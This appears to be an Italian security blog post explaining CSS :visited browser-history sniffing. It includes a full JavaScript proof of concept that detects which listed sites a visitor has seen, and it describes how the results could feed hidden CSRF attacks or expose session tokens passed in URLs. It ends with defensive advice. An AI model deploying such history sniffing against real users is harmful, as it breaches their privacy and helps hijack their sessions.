La settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione. Vista l’impossibilità di accedere all’oggetto history per navigare tra i vari elementi della cronologia, si è pensato ad un metodo alternativo ma molto efficace per accedere ad essa.
Il funzionamento di base è molto semplice e si appoggia su di una funzionalità messa a disposizione dai browser di oggi attraverso i CSS: la specifica a:visited. Cerchiamo di capire meglio con un esempio:
| <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”> <html> <head> <title>Css history</title> </head> <body> <script type=”text/javascript”> var knownurls = [ 'http://www.google.it', 'http://www.myspace.com', 'http://www.yahoo.com', 'http://www.google.com', 'http://www.twitter.com', 'http://it.netlog.com', 'http://ha.ckers.org', 'http://seoblackhat.com', 'http://www.cgisecurity.com', , 'http://www.facebook.com/home.php' ]; document.write( ‘<style type=”text/css”>a:link{color:#fff;}’ ); document.write( ‘a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}’ ); document.write( ‘{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>’ ); var output = ‘<h1>Urls riconosciuti</h1><ul>’; var c = document.createElement(‘div’); document.body.appendChild(c) for(i in knownurls){ var anchor=document.createElement(‘a’); anchor.href=knownurls[i]; anchor.innerHTML=knownurls[i]; c.appendChild(anchor) if(anchor.offsetHeight==1){ output+=’<li>’+knownurls[i]+’</li>’; } } document.write(output+’</ul>’); </script> </body> </html> |
Questa porzione di codice funziona più o meno in questo modo: ho una lista di url, li stampo in una pagina html e sfrutto il selettore visited. Se l’url è stato visitato dalla vittima, la specifica visited fa si che a quello specifico url vengano assegnate delle caratteristiche (via CSS) che lo rendano riconoscibile ed infine lo inserisce nel testo della pagina html. In questo modo aprendo questa pagina con il browser vedremo una lista di url contenente soltanto indirizzi già visitati .
Naturalmente, per ottenere una lista cospicua di siti visitati è bene aggiungere molti elementi all’array knownurls, ad esempio cercando tra i siti più visitati dagli utenti di alcuni social bookmarking come delicious e digg.
Il codice javascript che riconosce questi url può essere facilmente nascosto ed utilizzato per lanciare automaticamente attacchi di tipo CSRF, poichè c’è una buona probabilità che l’utente abbia una sessione attiva in uno dei siti precedentemente visitati.
Altro pericoloso utilizzo di questa tecnica permette all’attaccante di ottenere un token di sessione propagato via url (una tecnica di protezione piuttosto ambigua che discuterò in un prossimo articolo) .
Alcuni sviluppatori inseriscono un token di conferma per ogni richiesta nell’url, così da rifiutare ogni richiesta non attendibile. Questo implica una diminuzione del traffico indesiderato e delle richieste non autorizzate, ma d’altra parte espone il token di sessione che potrebbe essere salvato dalla cronologia. Quest’ultima, come abbiamo visto, risulta essere vulnerabile quindi ci ritroveremmo con i nostri token di sessione esposti a favore dell’attaccante.
Quest’ultimo, una volta compreso il formato del token, potrebbe con un semplice script javascript generare migliaia di token in pochi secondi, con una buona probabilità di ottenere il nostro token di sessione e quindi accedere a dati sensibili.
Ci tengo a ribadire il concetto che session id e tokens sono strumenti di sicurezza, ma anche essi vanno protetti adeguatamente. Perciò vi consiglio di NON propagare il token di sessione via url ma di farlo attraverso campi nascosti di un form e di rigenerarlo il più possibile.
Se siamo utenti, possiamo ricorrere all’estensione per firefox SafeHistory che ci protegge dal tipo di attacco oggetto di questo articolo.










